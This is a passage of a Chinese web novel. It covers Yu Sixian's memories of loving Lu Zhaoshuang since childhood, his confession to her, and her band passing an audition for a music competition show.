陆照霜因此生了好大的气,后来很长一段时间来他家的时候,都是藏在萧烨身后来的,决计不肯同他爸爸打招呼,一提起这件事,便红着眼,像是替郁思弦觉得很冤枉。 郁思弦其实早就知道事情会变成这样了。 从他第一次在父亲身上闻到陌生的香水味时,就知道了。 那时距离母亲离世不到半年。 因而连同父亲在事故最初表现出的悲痛欲绝,都好像变成了惺惺作态的某种表演。 郁思弦曾经唯一做过的尝试,就是把家里所有母亲的照片找出来,收进了自己房间的柜子里,但没有任何人在此之后提出过质疑。 没有人在乎。 郁思弦和母亲一样,是寄住在这个家里的幽灵。 但无所谓了,真的无所谓了,对他来说,从那时起,父亲也就仅仅只是和他拥有着血缘关系的“父亲”而已了。 春节很快到了,烟火在窗外盛大燃放,郁思弦没看,而是拉上了窗帘,戴上了耳机。 家里除了他,就只有楼下正在和儿女视频通话的保姆阿姨。 他很平静地接受了这件事——他将度过一个又一个,既没有陆照霜、也没有萧烨的春节。 其实还好,他很擅长一个人待着。 但再擅长,当他看到陆照霜提前从她奶奶家回来时,也还是没能克制住那种喜悦。 “阿照,你今年怎么这么早就回来了?” 他刚一说完这句话,就看到陆照霜扁起嘴唇,眼眶慢慢红了。 阿照又在为他觉得难过了。 有时候郁思弦觉得,这可能就是,他并不常为自己感到悲哀的理由。 既然已经有人替他觉得悲伤,那他便只需要为这份心意心怀感激。 他没想到的是,阿照会因此恳求章阿姨带他回家过年。 不知道章阿姨是怎么做到的,但八岁那年的春节,他真的和陆照霜一起坐上了前往伊冬的飞机。 那个能看得见雪山的小城,对他来说,像梦一样。 无论是事故发生前还是发生后,郁思弦都被带去过各种场合,见过身份地位迥异的各种客人,谈不上怯场。 但那天他却完全无法控制住自己的紧张。 因为那是,她的家人。他愿意付出很多很多代价,也希望对方不要讨厌自己的人。 陆照霜也是时察觉到了他的紧张,软乎乎的手掌伸过来,牵住了他的手,向他许诺,“以后我的家人就是你的家人。” 她不会知道,这句话对他的分量。 陆家的人都对他很友善,但有些事阿照或许察觉不出来,他却不可能感受不到,一个没有血缘关系但又身世凄惨的外来者,那种微妙的尴尬感,再亲近也始终会隔着一层。 但没关系,郁思弦已经很知足了。 直到他见到沈霖。 阿照很努力地才把那个小男孩拖到了他面前,擦着汗对他说:“以后我的弟弟就是你的弟弟。” 但那个小孩儿显然不这么想,冷着脸梗着脖子就跑了,别说理郁*思弦了,他连阿照都不肯理。 郁思弦以为沈霖和陆照霜之间关系不好。 这种错觉只持续到了晚上,因为在临睡前,阿照又一次拿出礼物好声好气地去哄沈霖的时候,小孩再也绷不住,委屈地大哭出声。 “你上次说要来给我过生日的,为什么没有来?” 阿照一下子就被哭得没办法了,大人们也哄不住沈霖,阿照无措地向他投来求助的目光。 郁思弦已很擅长应付大人,却对小孩束手无策,只能走过去,尝试去拍沈霖的肩膀。 那晚究竟是怎么收场的,郁思弦记不清了,可能就是沈霖哭累了,而他们两也听他哭得听累了,于是都不知不觉地睡了过去。 第二天早上,郁思弦醒来的时候,房间里只有他们三个人,沈霖睡在他们俩中间,还紧紧牵着他们的睡衣衣角。 郁思弦垂头看着沈霖抓着他衣角的胖乎乎的手掌,突然就,觉得心里陷下去很酸的一个缺口。 原来不是关系不好,就只是一个,缺爱又孤独的,过分敏感的小孩子而已。 也像是,郁思弦永远没法在别人面前坦然表现出来的,自己的一部分。 哭了一晚上,又别扭了一早上,到下午的时候,小孩就再也忍不住了,开始围着阿照打转,“姐姐、姐姐、姐姐”地叫个不停。 郁思弦不过是在陆照霜没有空暇的时候,陪了他一阵,他就开始像缠着陆照霜一样缠着他,叫着“哥哥、哥哥、哥哥。” 所有人都在认识郁思弦以后刻意照顾郁思弦,但沈霖从一开始就不带任何偏见,十分纯粹地依赖着他,展现得很需要郁思弦的照顾。 让郁思弦觉得,好像自己真的很重要一样。 年后,管家李叔带他们去逛庙会,碰到了一个卖平安符的老爷爷。 老人用压岁钱做钓饵,哄得阿照和沈霖买了一大堆平安符。 等他们终于要走的时候,老人叫住了他,笑眯眯道:“小朋友,给长辈们带平安符回去,零花钱一定越来越多呦。” 郁思弦知道那是哄小孩的把戏。 但要抬脚离开时,他看到陆照霜和沈霖的背影,忽然改变了心意。 “给我两个。” “两个?”老人看他们是一起来的,以为他们家庭环境一致,不甘心地还想继续推销,“除了爸爸妈妈,还可以给爷爷奶奶叔叔婶婶呀,小朋友,真的不多买几个吗?” 郁思弦自嘲地笑了笑,声音落在嘈杂的庙会里,不会有任何人知晓。 “可我只有两个家人。” 那天晚上,他把那两个平安符送给了阿照和沈霖。 看到阿照一言难尽的眼神,他猜她一定想了很多乱七八糟的东西,但他什么也没有解释。 大概是因为怀疑,怀疑自己的所有举动,都有自作多情的嫌疑。 所以……有些事,他只要自己知道就好。 直到十六年后。 那时的沈霖早已不肯再叫哥哥和姐姐,也决计不肯承认小时候的这些囧事,他像个真正的成年人一样带着女朋友回来过年。 郁思弦前去接机,回来的路上,沈霖睡着了,他没忍住,对沈霖的女朋友叮嘱了几句,但很快就自悔失言,以他的身份和立场,他说得有些多了。 女孩是第一次见,却洞若观火一般对他说:“也不是非得有血缘关系,才是家人吧。” 那个无法言说的心结,因为得到了一个纯粹局外人的肯定,得以解开。 郁思弦终于肯在心里坦然承认。 当然,当然,他们当然都是彼此的家人。 十三岁那年,郁思弦已经复学五年,但因为休学太久,外加之前很长一段时间身体情况还不够稳定,所以他这时比陆照霜和萧烨低一级。 但慢慢来就好,他这样告诉自己,仅仅是能够和他们待在同一间学校,一起上学放学,对他来说已是莫大的一件幸事。 那天下午,老师拖堂了五分钟。 郁思弦背上书包踏出初一的教学楼,越过大半个学校,一眼看见陆照霜校裙后面有一抹红色。 他愣了一下,立刻明白了那是什么,迅速取下书包,脱下外套,朝她飞奔而去。 但就在他距离陆照霜还有十几米的时候,萧烨耳根通红地弯下腰,把校服外套系在了陆照霜的腰上。 阿照一脸茫然,就被萧烨一把推进了车里,她趴在车窗边沿朝萧烨疑惑探头,萧烨像是被烫到了一样,摆了摆手就冲进了人群里。 那一幕,简直像电影的特写镜头。 而紧握着校服外套、站在十几米外只能旁观的郁思弦,是这部电影的唯一观众。 啊……原来那真的不是能慢慢来的事情。 初三那年,他成功跳级,和陆照霜萧烨进了同一栋教学楼。 但也是那一年,生活急转直下,章阿姨病倒了。 陆叔叔陪同章阿姨一起进了医院,筹备手术事宜,阿照开始像之前的他一样,日复一日地一个人待在家里。 她每天都表现得很正常,不哭也不闹脾气,比以往都更乖地上学练琴,但正因为太正常了,所以才格外不正常。 郁思弦一放学就立刻跑去陆照霜的教室,在大多学生都走光了的那些时刻,他能看到,她像是一个发条变松了的人偶,迟缓而木讷地一个人发着呆。 “阿照,你有没有事?”他担心地试图去拉她的手。 “思弦?”她立刻便回过神,像是在看到他的第一眼,发条就被重新拧紧。 她避开了他的手,动作迅速地收拾起书包,朝他笑:“我能有什么事呀?我们回家吧思弦。” 郁思弦的手僵在那里。 他拉不住她的手,就像他也触碰不到陆照霜的不安。 那他还能为她做什么呢? 他开始经常往医院跑,去探望卧病在床的章若华。 有些同去探望章若华的人,便开玩笑说:“这孩子比你亲闺女还担心你呢。” 郁思弦真是对这些玩笑话厌烦透顶,“阿照没来不是因为不担心。” 是太过担心了,才根本不知道如何是好。 章若华患病以后脾气大变,有时候对他这个别人家的小孩也忍不住火气,那之后她便会用胳膊盖住自己的眼睛,陷入极其浓烈的自我厌恶,“思弦,别再来看我了,有空就去跟你的朋友们玩吧。” 郁思弦只是继续静坐在一边,“没关系,章阿姨,我之前生过很长时间的病,您现在的感觉我能明白,那真的能把人逼疯,我知道您不是真心想这样的,您会好起来的。” 那样阿照才能跟着好起来。 几个月后,章若华身体状况渐渐好转,阿照也终于开始重新笑起来。 连同那个夏天,都被康复的喜悦晕染得流光溢彩。 学校里过一段时间要举办篮球比赛,郁思弦身高正在猛蹿,体育委员很自然地盯上了他。 但郁思弦幼时不能剧烈运动,现在即便已经康复,对这种运动也谈不上任何兴趣。 他一点也没有犹豫,就干脆拒绝了。 没想到的是,在体育课上,他看到陆照霜和其她女生一起坐在球场边看萧烨打篮球,她捧着脸,看得很专注,嘴角翘起浅浅的弧度。 真奇怪,阿照一点也不像是,会对这种东西感兴趣的人。 那天晚上,回家的车上,他状似不经意,问起这个问题。 陆照霜僵了一下,伸手拂了下耳边的发丝,不自在地说:“大概是因为我最近刚看了《灌篮高手》吧。” “你终于看《灌篮高手》了!”前排副驾上的萧烨唰一下转过头来,得意洋洋,“是不是很好看!” 阿照笑了,“是是是,虽然我还没有看完,但确实挺有意思的。” 郁思弦愣了下,然后在他们滔滔不绝的讨论声中,打开手机,搜索《灌篮高手》,然后默默下单。 几天后,就在萧烨家里,阿照和萧烨为了《灌篮高手》的结局吵起来。 “樱木花道真的太不理智了好吗!”萧烨争辩道:“就一场高中联赛,甚至都不是决赛,他非要顶着伤上场,职业生涯不要了吗?” 阿照不服,“你都看了什么呀?对樱木花道来说,那场比赛就是最重要的呀!” “哦,”萧烨叉着腰,“那我问你,他们赢了吗?拼命打完这一场,他们下一轮不还是惨败,直接告别全国联赛了吗?最后一整部漫画讲下来,谁都没有收获,这也算结局?” “不是只有拿到好处才叫收获呀!” “是是是,”萧烨敷衍地笑笑,“虽然最后队长的大学资格吹了,流川枫出国训练去了,樱木花道带着一身伤去治疗了,但他们起码收获了友情,你想说这个?” “你怎么能这么说呢?”阿照气得睁圆了眼睛,但又因为一时总结不出她想说的话,也梗在那里。 郁思弦就在这时默默插进一句,“我也支持樱木花道。” 那两个人都是一愣,齐齐转过头来。 然后陆照霜眼睛一亮,扑过来抓着他的胳膊举起来,示威一样,抬起下巴看萧烨,“2:1,我们赢了!” 萧烨气呼呼地开始用手机召唤杜宇宁等人,“等着,我马上给你翻盘。” 但奈何当晚杜宇宁有事,并没有赶来。 因此郁思弦和陆照霜成功带着2:1的胜利出了门。 “就算那只是一场别人眼中看来意义不大的比赛,但对樱木花道来说,那是他浑浑噩噩到现在的人生里,唯一让他感觉自己在强烈活着的东西。” 在回家的那短短的路上,陆照霜姗姗来迟地组织好了措辞,不甘心地絮絮叨叨说着。 “他可以付出一切,只为了这一刻活着,这就是这部漫画最闪耀的一瞬间呀,到底哪里蠢了?” 郁思弦笑了笑,轻声附和:“嗯,不蠢。” “你也这么觉得是不是?” 陆照霜高兴地往前快走了两步,然后转过身来,一只拳头抵住嘴唇,清了清嗓子,然后开始模仿起樱木花道对教练说的那句经典台词。 “老头子,你最光辉的是哪一刻?是作为全国代表的时代吗?”她刻意严肃地压低了声音:“而对我来说,就是现在了。” 少女站在银白的路灯下,蓝色的裙摆被风吹得轻轻摆动,眼里跃动着闪亮的笑意。 耀眼到郁思弦根本无法挪开视线。 是啊,可以为了某一刻付出一切的那种心态,他不能更理解了。 第二天,郁思弦找到了体育委员,报名了篮球赛,而后特意找了教练教他如何打篮球。 半个月后的篮球赛上,他们班对上萧烨班,在焦灼的一整场比赛最后,郁思弦苦练的时光开花结果,他成功从萧烨手里抢下一球,在3分线外投进。 他们赢了! 从未有过的欣喜感向郁思弦涌来,并非为他挣得了3分,而是因为,这是他第一次赢过萧烨。 他下意识转头朝体育馆一边的长椅望去,却没找到陆照霜的身影。 因为她正朝体育场飞奔而去——萧烨不知什么时候被人撞倒了,捂着小腿痛苦地倒在了地上。 陆照霜满脸焦急担忧,没有往郁思弦这一球看上一眼。 明明此刻体育馆沸反盈天,郁思弦却好像听见了篮球砸落在地上的声音。 “咚、咚、咚——” 他看着陆照霜扶住萧烨时的眼神,突然顿悟。 啊……原来真正重要的,不是能不能赢下篮球赛,不是喜不喜欢樱木花道,不是能不能为《灌篮高手》感到共鸣。 真正重要的东西,他已经来晚了。 郁思弦晚来六年,晚来一级,晚来一步,最后真正晚了的。 是她的心有所属。 【作者有话说】 就算一起度过同样的时光,但在不同人的视角里,分量和色彩,甚至记忆的重点也是不一样的。如果说32章是阿照眼里的青春,那这两章就是郁思弦眼里的青春,大概是一段过分漫长苦涩的独角戏。 这段回忆还剩下一点点,下章就完。 48/ 第48章 ◎也请你多注视注视我吧◎ 十八岁那年,陆照霜和萧烨准备出国留学,并且双双收到了offer,陆家和萧家一起给他们庆祝了一番。 没有人知道,郁思弦的邮箱里,也曾经躺过一份offer。 那个曾经让他患上ptsd,带走了他母亲的国度,他曾经用很多个夜晚,去挣扎着思考自己是否能抵达那里的可能性。 让他下定决心的,是陆照霜眼里越来越清晰的心意。 他和她的时光已经进入了倒计时。 因此他在没人知道的一天,买了前往加州的机票,在那个他以为他再也不会踏足的国度里,散步了一整天。 ptsd症状没有被触发,不知道从什么时候开始,郁思弦已经从那天的阴影里走出去了。 他又是轻松又是怅然地去母亲的墓地坐了大半天,然后回到家里,准备告知阿照和萧烨,他会跟他们一起去留学。 但他还没来及说出口,那份offer就变成了跟无数封垃圾邮件一起沉下去的一个秘密—— 章阿姨病情恶化转移了,阿照也因此,不准备再出国了。 即便她原本要去的,是世界公认最顶尖的音乐学院。 郁思弦理解这个决定,就像樱木花道可以为了当下的一场球赛,赌上整个职业生命,阿照也会为了陪伴章阿姨,放弃别人眼里更好的前程。 她只是选择了她认为更重要的那一样东西。 但萧烨不能理解,所以他们两吵了很大一架,冷战很久,直到他们高考完了都没有和好。 郁思弦克制着自己对此产生的情绪,那实在太过卑鄙。 有天晚上,他听到楼下有熟悉的声音。 他走到窗边,看到陆家门口,阿照一只手里捏着什么东西,另一只手牵着萧烨的衣袖,对他说着什么。 她一定鼓起了很大的勇气,连耳尖都红透了。 郁思弦听不见他们在说什么,但只看他们的表情,他就知道萧烨一定拒绝了阿照。 在萧烨走后,陆照霜还一个人垂头站在门口。 郁思弦没有犹豫,立刻冲下了楼,在门口平复了一下呼吸,然后拉开门。 像是没料到会撞见陆照霜一样,惊讶地抬眼:“阿照?” 她一下子回过神,慌里慌张地要把手里的东西藏起来,但她身上的连衣裙没有口袋。 郁思弦若无其事地问:“怎么了阿照,你有什么烦心事吗?” 陆照霜愣了一下,看着手里的东西,过了一会儿,犹豫着展示给他看,“过几天在江城有一个乐队的演出,你要去看吗?” 那是一张livehouse的门票,上面乐队的名字叫“繁星之后”,郁思弦根本闻所未闻。 但他佯装思忖,然后伸手接过,“那天我好像没什么事,就一起去看吧。” 阿照脸上终于露出了微笑。 虽然他很清楚,如果陪她去看的那个人是萧烨,她一定会笑得更开心一点。 但郁思弦不能奢求更多了。 他为了看这次演出做足了功课,从路线时间,到“繁星之后”这支乐队的所有已发布歌曲。 但出发那天,却运气很差,陆叔叔在家里招待客人,阿照被叫出来见客,根本脱不了身。 他收到阿照的紧急消息:【思弦!江!湖!救!急!】 郁思弦只好假装自己完全不知道陆家的情况,敲开陆家的门,惊讶地问:“阿照,今天不是谢师宴吗?你不来了吗?班长催了我好一阵了,说你不回他消息。” 陆照霜也猛地站起身,恍然大悟一样,“啊对,谢师宴,我怎么记错时间了。” 她可怜兮兮地,用恳求的目光看着陆叔叔。 陆叔叔视线狐疑地在他们两身上打个转,最终还是摆摆手道:“都被催了还不快去?别对老师失礼。” 他们两如蒙大赦,一直端着表情,直到走出了陆家的可视范围内,才慌张看时间。 “怎么办怎么办,要赶不上了!” 那时候他们都还没有驾照,更不敢劳动家里的司机,唯恐惊动长辈,郁思弦在网上叫了车却因为等待人数太多,迟迟打不上。 陆照霜焦躁万分,就在这时,杜宇宁骑着一辆电动车慢悠悠开进了小区,大约是来找萧烨玩的。 陆照霜眼前一亮。 “杜宇宁!”她大叫了一声他的名字。 杜宇宁被吓了一大跳,踩住地面,怔愣地看过来。 陆照霜毫不犹豫地冲过去,夺走了他的车,“抱歉抱歉,借一下你的车!” “啊?”杜宇宁茫然眨眼。 陆照霜没空跟杜宇宁解释,坐上车朝郁思弦用力招手,“快上来思弦!” 郁思弦同样懵住了,只是听从指令坐上了她的后座。 “你们两什么情况?” 身后是杜宇宁不解的大喊,但他们已经冲向了高铁站。 日头已在西沉,夏天的温度却没有丝毫降低。 郁思弦轻轻牵着她的衣角,少女纤薄瘦削的蝴蝶骨和细细的肩带,在被汗水濡湿的衬衫上若隐若现。 他只轻轻扫过一眼,便如同被烫到了一样移开视线,只剩下她被风吹起的马尾,在他的视野里飘上飘上。 一到高铁站,陆照霜立刻丢下电动车往站内冲。 “杜宇宁的车怎么办?”他只来得及匆匆瞥了那车一眼。 陆照霜却是连头都没回,“等我回来了给他买辆新的!” 他们赶在检票的最后一刻闯进了高铁站,赶在关门的最后一刻冲进最近的一截车厢,到了江城却恰逢晚高峰,出租堵在路上动弹不得,于是他们干脆下车,扫了共享单车拼命按着地图朝livehouse骑过去。 夕阳的最后一丝余晖消失前,他们抵达现场。 演出还没正式开始,他们被挤在狭窄的角落,浑身都被汗水浸透了,还在急促地喘着气。 阿照眼里却是亮晶晶的,“思弦,你看,我们赶上了!” 很多年后,郁思弦想不起繁星之后唱过的任何一首歌,只记得他们像逃亡一样飞奔而来的这个黄昏。 以及,在整场live的最后,繁星之后的主唱许默宣布:“这就是我们作为‘繁星之后’的最后一场演出了。” 他转过头,恰好看到从陆照霜眼里滚下来的泪珠。 她缓缓垂下手,眼里所有的光亮如同过夜的昙花一样枯萎了,只是悲哀地对他笑,“思弦,是不是所有故事都会有终点?” 那个黄昏,是郁思弦青春里唯一一次盛大灿烂的逃亡,却也是他们青春里最后的一抹亮色了。 从十八岁到二十一岁,郁思弦亲眼见证着她变得越来越沉默。 二十一岁,章阿姨病逝的那天,郁思弦冒雨去机场接她回来。 从那天起。 他亲眼见证着她如何一步步扼杀自己。 他一直陪在她身边,却对她的悲伤无能为力。 二十四岁那年,她准备和萧烨结婚。 和她一起坐在寺庙里,收到签文的那一刹那,就好像在钢琴上按下一个琴键,响起了很短促的一个音节,就不再有然后了。 从他们相识的最初,郁思弦就一直是那个被给予的人。 能让她快乐起来的那个人,从来都不是郁思弦。 “给你吧。” 他抬起头,把那支大吉的签文塞进了她的手里,苦笑着说:“我好像也没有什么……可以送给你的东西了。” 从那天起,宣告结束的郁思弦的贪婪和妄想。 在两年后被重新点燃。 他绝对不会再放手了。 被母亲救下拥有的第二次生命,被陆照霜两次邀请得以重生的勇气。 郁思弦再清楚不过。 他的人生从来没有第三次机会,第二次就是最后一次。 …… 天台上,夕阳同他们奔向江城那天一样灿烂盛大。 陆照霜被他那句“我想我爱你”定在原地。 她此刻才意识到,语言竟是这样有魔力的东西。 哪怕对他的心意早有预料,但在面对面、亲耳听他说出来的这一瞬,她还是被这些字眼背后的意味撼动了。 以至于一个字都说不出来。 “阿照。” 郁思弦没有错过她的每一分表情变化。 他的指尖微不可查地敲着生锈的栏杆,像敲在棋盘上的黑子,“明明你只要像以前那样,对我的感情视而不见就可以了,为什么要特地来拒绝我?” 陆照霜艰难地挤出声音:“我不能那样……”对你视而不见。 郁思弦指尖在栏杆上忽地顿了一秒,像望见了棋局的破绽,终于得以落子。 他平静地望住她的眼睛,“所以是,我让你感到动摇。” 那是陈述句。 陆照霜呼吸瞬间一窒。 郁思弦轻声一笑,“那就请继续动摇下去吧。阿照,我已经注视了你二十年,接下来,也请你多注视注视我吧。” 他就站在无边的夕阳里,眼神像沉下去的黄昏一样温柔,维持着先前的距离,并没有任何向她走近的侵略性。 却让陆照霜觉得。 她明明是来拒绝他的,却反而被他更进了一步。 以至于她现在,仿佛已经站在了某个,会忍不住想向下坠落的边缘。 “嗡嗡——” 震动声让陆照霜陡然回神,她慌忙从口袋里拿出手机,是林珩的电话。 接起的那一刻,林珩的声音带着藏都藏不住的兴奋,“陆照霜你怎么还没回来?我们海选过了!” “啊……过了吗?”陆照霜此刻却有点找不回先前为比赛焦躁的心情,含糊道:“那太好了,我马上就回去。” 挂掉电话,她向郁思弦投去征询的目光。 也许她此前借着别人的电话、或者其它种种理由,来逃避过郁思弦。 但她想,至少今天不能。 郁思弦却好像没有别的话打算说了,他拍了拍握过栏杆的手,走到她身边,“既然他们在叫你了,那走吧。” 从天台到录制节目的楼层,一共有五层。 为了避开人,他们没有坐电梯,整个楼梯间里,只有他们两的脚步声。 陆照霜其实还没完全回过神来,只能胡乱找点话题,“我们通过海选这件事,你有插过手吗?” 郁思弦闻言一笑,“你对你们这么没有信心吗?” 硬找来的话题结束,陆照霜无奈承认:“好吧,我确实有这个信心。” 郁思弦这才解释,“放心,阿照,我没有对这个项目组有话事能力的任何人提起过你们的名字,以后也不会。在我能管控的范围内,我会保证这个节目的公平。” 陆照霜心中倏然一乱,为了赶走这种无措,她笑着打岔,“你这么说,好像你以前操纵过什么黑幕一样。” 郁思弦垂着眸,斟酌着道:“我的工作还不至于细致到这种程度,但有人的地方就会有不公平,我也没有精力去管束这么多人。” 所以只有这一次是例外。 “那这次是为什么?”陆照霜明明已经知道答案,却不知道为何,还是问出了声。 “为了你。”郁思弦直白地承认。 陆照霜往下踏了一步,却有些控制不住眩晕,险些踩空。 郁思弦一把攥住她小臂,扶她站稳。 “阿照,但我得提前给你打个预防针,即便我刻意约束,但这个节目从上到下,牵连的人和关口都太多了,难免会有我控制不到的地方。” 陆照霜轻声喃喃:“我明白。” 只要有人的地方,就不可能有纯粹公平的乌托邦,这不是人力所能改变的。 “不过也不用太悲观,”郁思弦朝她笑笑,“我会尽我所能。” 说完,见她还一错不错地看着他,郁思弦不由问:“怎么了?” 陆照霜也想问,怎么会有他这样的人呢? 她见过那么多人,肆意操纵着黑箱,把染血的花冠双手奉上,只为博君一笑。 只有郁思弦说的是,为了你,我会保证这个节目的公平。 让她觉得心脏被狠狠一拧,酸楚到她几乎想要哭出来。 【作者有话说】 宝贝们,都二十一万字了,作者都快燃尽了,大家真的对这篇文没有任何想发的话的吗[爆哭] 49/ 第49章 ◎她好像比他预想中更动摇◎ “没事,我只是……”陆照霜欲言又止。 那些感觉太难表述了,她将心头翻涌的情绪都暂且压下去,垂头轻声道:“我回去了,你也……别太累了。” “嗯。”郁思弦松开她的小臂,看她匆匆绕过走廊拐角,而后消失不见。 他独自站在寂静的楼梯上,如同劫后余生般长呼出口气。 他实则没有在她面前表现得那么游刃有余。 今天从送出红玫瑰开始的每一步,都是上次在伊冬察觉出她的逃避后,只能出此下策的险棋。 当他这么多年的感情过早暴露,即便陆照霜向他走来,那里面又会包含多少愧疚和怜悯呢?他原本想等她更动摇一些的时候,再向她坦白心意。 可如果她已经有所察觉,并因此开始逃避的话,那怜悯也好、愧疚也好,所有能动摇她的东西,他都不惜去借用。 但她好像也比他预想中的,要更动摇一点。 郁思弦手指蜷动,若有所思地静站了一会儿,而后不自觉地一笑。 * 陆照霜回到休息室,里面的乐队已经散了七七八八,而逃出人间的这一角,正克制着喜悦的程度,窝在角落里悄悄高兴。 一见她回来,高若涵立刻兴奋地朝她招手,“照霜姐!你干嘛去了?太可惜了,你错过了公布结果的那个时候!我都想跟节目组把那段录像要回来永远珍藏了!” 陆照霜不太自在地含糊应了一声,“嗯……就是出去了一下。” 最边上坐着的徐勿凡嗤笑了一声。 林珩看见她怀里还抱着一束红玫瑰,立刻就反应过来,这花是谁送的。 “思弦来过了?怎么没跟你一起来?这么高兴的事还想亲口告诉他来着。”林珩往她身后张望,显然有点失落。 徐勿凡没好气地道:“你脑子丢哪去了?想想他来了会是什么后果。” 林珩一拍脑袋,“啊,也对,我怎么忘了这个。” “那就之后再说吧,”他遗憾地叹了口气,但又很快振作,站起身斗志昂扬,“走,我们先去宿舍安顿下来,然后去看看我们的练习室。” 节目组给所有入选的乐队提供宿舍和练习室,就在这栋楼上,不限制成员外出,但显然,他们是需要在练习室内给节目组提供足够的花絮素材的。 一行五个人先回酒店拿行李,然后哼哧哼哧往宿舍搬。 所有入选的乐队都跟他们做着一样的事,电梯拥挤不堪,陆照霜被挤在了最角落。 她特地侧过身体,小心地护住手里那束红玫瑰。 下一秒,她又听到身后传来徐勿凡的嗤笑了。 陆照霜无端就觉得耳根有点烫。 出电梯的时候,她和徐勿凡被落在最后面,徐勿凡戏谑地打量着她。 “车上哭得那么惨,结果搞了半天,你这不是也没拒绝吗?” 陆照霜恨不能钻进地缝里,但一只手拖着行李箱,一只手抱着玫瑰花,空不出手来挡住自己,只能任凭徐勿凡继续看。 过了一会儿,倒是她先忍不住,犹豫着问:“我这样会不会不太好啊?” “什么不太好?” “不知道……我也不知道现在这算什么状况。” 陆照霜有点茫然,郁思弦确实表白了,她也确实是去拒绝的,但好像最后也没拒绝成功? 那现在算什么? 不主动不拒绝不负责吗? 但她也拒绝了呀? 徐勿凡诧异地掀起眼,“没谈过恋爱?” 陆照霜沉默了一会儿,诚实地点了下头。 徐勿凡笑了声,“真稀奇,婚都离过了,但恋爱没谈过。” 她虽然说着这样的话,但语气里倒也没什么奚落的意思,只是懒懒地说:“就是暧昧期那回事呗,他不想放弃,你也没有那么坚定地想划清界限,那就暧昧着呗,多处一阵,觉得成就谈,不成就再拒绝。” 陆照霜犹疑道:“不会对他很不公平吗?” 徐勿凡无语,“大小姐,人做点决定不需要时间的吗?看没看过电影?‘恋爱最美好的时候是暧昧的时候’,享受就行了,别想那些有的没的。” 而且,徐勿凡瞥了眼她怀里那束完美如初的玫瑰花,只觉得酸到倒牙。 这不是已经偏心得很明显了吗? 陆照霜低下头,若有所思。 过了一会儿,她抬头问:“所以你是思考过了,觉得可以,才和林珩在一起的吗?” 徐勿凡见了鬼似的看着她,然后往前快走了几步,“我们真的不是能聊这种话题的关系!” 陆照霜笑了下,之前萦绕在心里的阴霾消散了不少,也快步赶上了大部队。 宿舍每个乐队分男女两间,条件谈不上多好,但胜在离练习室近。 他们吃过饭休息了一阵,就在练习室内会和。 练习室比他们在申城租的那个小,但设备更专业,还有各种录像和录音设备,让他们起初都有点不太适应。 林珩深吸了一口气,看向其他成员,“无论如何,我们的第一步已经成功了,接下来该想的,就是怎么继续留下来了。下一期节目的赛制和对手,老唐、小高,你们来说吧。” 高若涵闻言立刻搬了一把椅子过来,唐湾掏出笔记本电脑,放在椅子上,打开了一张表格,示意大家看过来。 “这是我和小高刚才赶工统计出来的,很简陋,大家将就着看。” 陆照霜干脆像之前在申城一样,直接坐在地板上,托着下巴认真看电脑屏幕。 上面是所有入选乐队的粉丝数统计。 “今天一共通过了48支乐队,下一期会淘汰一半,而在这48支乐队里——”唐湾说着,点开一张扇形图。 “粉丝数超过一百万的有4支、超过五十万的有8支,这12支乐队自带流量,也是这个节目的收视保障,无论如何,这才第二期节目,他们是不可能淘汰的,出线名额可以说已经锁定了一半。” “十万粉丝以上的乐队有20支,剩下的15支乐队跟我们的情况差不多,我们要争取剩下的12个出线名额,那这35支乐队就是我们的对手。” 唐湾说完,练习室内陷入*了一阵短暂的死寂。 高若涵一下子就蹲在了电脑旁边,语气里充满着失落的意味,“说实话,以前我是知道《乐队人》很火,但我真的没想到,这一季会来这么多知名乐队,和前两季根本不是一个激烈程度。” “相当于我们起码得挤走9支十万粉丝的乐队才行,他们可都是开过很多巡回演出的成熟乐队了,我们真的有机会吗?” 林珩下意识想反驳,但是看着那个过分鲜明的数据对比,一时竟也有点怔愣。 有些东西,在遥不可及的地方旁观,和真正站到下面,那种感受是截然不同的。 更何况这座山比他们此前预想中还要陡峭。 高若涵揉了揉自己的脸,努力攒起一个笑,“没关系,我们已经站在了这个舞台上,加上下一期,我们就挣到了两期节目的镜头了,已经很好了!” “为什么要预设我们下期赢不了?” 高若涵一愣,下意识朝出声的那个人望去。 陆照霜正把这些数据誊抄在笔记本上,和今天的记录结合在了一起。 她平静地问:“小高,在休息室里我们看现场转播的时候,你可不是这个心态,现在为什么会这么想?因为看到他们的粉丝数量了吗?” 高若涵怔了下。 是哦,她明明今天在现场的时候,还挺有斗志的来着。 “既然你当时没有这么颓废,说明就现场来说,他们也并没有那么不可战胜的,不是吗?乐队最重要的是现场,而不是这些数据,不是吗?” 陆照霜说完,又玩笑般眨了下眼,“当然,这些数据不是没有意义,比如说,既然他们自带了这么多流量,说明这一季节目的关注度很高,我们不是能让更多人看到了吗?” 林珩这会儿也重新镇定了下来,给她比了个大拇指,“无论如何,至少我欣赏你的自信,当然,这次是褒义的。” 说起他们第一次合作前交涉的样子,陆照霜却没有笑,“知道我第一次看你们的演出时,是被什么感染的吗?” 林珩挑眉,摸着下巴说:“大概是我们的音乐太好听了吧?” 这个冷笑话把大伙都逗得一乐。 毕竟,他们第一次见面,那还是杜骅在他们乐队锯木头的时候。 陆照霜一字字道:“是野心。” “那种就算被推到了谷底,绝对不甘于平庸,拼命也要被人看见的野心。” 四人齐齐怔住。 “那天我完全被你们震撼到了,回家以后,我把《假面》拉了一遍又一遍,不然你们以为我是什么天才吗?只听过一次,隔了那么久也能准确复刻出来?” 林珩有些失语:“你……” 陆照霜连忙摆了摆手,“等等!先别急着感动,我说的是那天。如果是今天的你们上去表演,这么畏首畏尾的样子,我想我现在应该还在继续做我的首席。” 她这话是微笑着说的,但谁都能听出她话里的严肃。 他们从认识以来,她就一直是温柔好说话的样子,这还是头一次,他们见识到她内里的刺。 练习室内沉默了下来。 高若涵目光怔怔落在地面很久,而后猛地用双手拍了下自己的脸,那个清脆的声音,立刻吸引了所有视线。 “你说得对,照霜姐,担心这担心那,在行动前就预设了失败,这就连我们最重要的特色都没有了,我不会再这么消极下去了。” 唐湾也沉沉地呼出口气,抬手把笔记本电脑合上,“小陆,谢谢你的提醒,我们都已经走到这里了,就不应该再被那些数据吓倒,不管我们的对手是谁,我们都竭尽全力去争取就对了。” 练习室内的气氛终于重新振作,陆照霜心里松了口气。 她声音缓和下来,“唐哥,你和小高整理的数据不是没意义的,我们要面对的对手是谁,他们有什么优势,都是我们应该考虑的问题,以后也得继续麻烦你们。” “别再这么客气了,叫我老唐就好。” 陆照霜顿了顿,便从善如流,“老唐。” 